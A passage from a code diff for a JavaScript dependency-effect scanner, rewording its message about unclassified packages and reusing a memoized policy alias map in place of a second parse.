10260
  // dependencies' effects INVISIBLE (the ledger above) — a MISSING INPUT, not a precision defect, and the
8277
10261
  // two read identically in the report. Measured on the JVM engine against a real 18.7k-fn webapp: scanned
@@ -8313,8 +10297,8 @@ if (!wantJson) {
8313
10297
  // classifier does not cover (already enumerated above) beats a tsconfig guess, and a tsconfig this run
8314
10298
  // READ rules the tsconfig guess out entirely.
8315
10299
  const unresolvedCause = unlistedSeen.size > 0
8316
- ? `the ${uncoveredLedger.length} package${uncoveredLedger.length === 1 ? "" : "s"} named above are not `
8317
- + `covered by the classifier, so calls into them resolve to Unknown`
10300
+ ? `the calls into the ${uncoveredLedger.length} package${uncoveredLedger.length === 1 ? "" : "s"} named `
10301
+ + `above are not covered by the classifier, so they resolve to Unknown`
8318
10302
  : (usedTsconfig
8319
10303
  ? `this scan read ${path.relative(rootDir, usedTsconfig) || path.basename(usedTsconfig)}, so the `
8320
10304
  + `cause is unresolvable imports rather than a missing tsconfig`
@@ -8554,8 +10538,12 @@ if (policyPath !== null) {
8554
10538
  // with the policy filed outside the scan target the two expanded the SAME rule differently and §3.1's
8555
10539
  // byte-equality MUST was breakable by a file that is neither the report nor the policy. `net-partner`
8556
10540
  // (above, at the target) is deliberately NOT moved: it describes the thing being scanned.
8557
- const parseErrs = [];
8558
- const unknownAliases = parseUnknownAliases(discoverConfigText(policyVocabularyAnchor(policyPath, target)), parseErrs);
10541
+ // R154 — THE SAME MAP THE PEEK USED, not a second parse of the same file. The peek passed `{}` and this
10542
+ // route passed the real vocabulary, so one `Unknown[<alias>]` line meant two different things to two
10543
+ // paths reading one policy: the gate honoured it, the peek threw on it. `policyAliases()` is memoized
10544
+ // above, so the alias parser's own stderr warnings are still printed exactly once per run.
10545
+ const unknownAliases = policyAliases();
10546
+ const parseErrs = [...policyAliasErrs];
8559
10547
  const gatePolicy = parsePolicy(text, unknownAliases);
8560
10548
  parseErrs.push(...gatePolicy.errors);
8561
10549
  // ⟨0.28⟩ SPEC §6.2 — the LINES THE PARSE DROPPED, for the verdict document below. Non-fatal by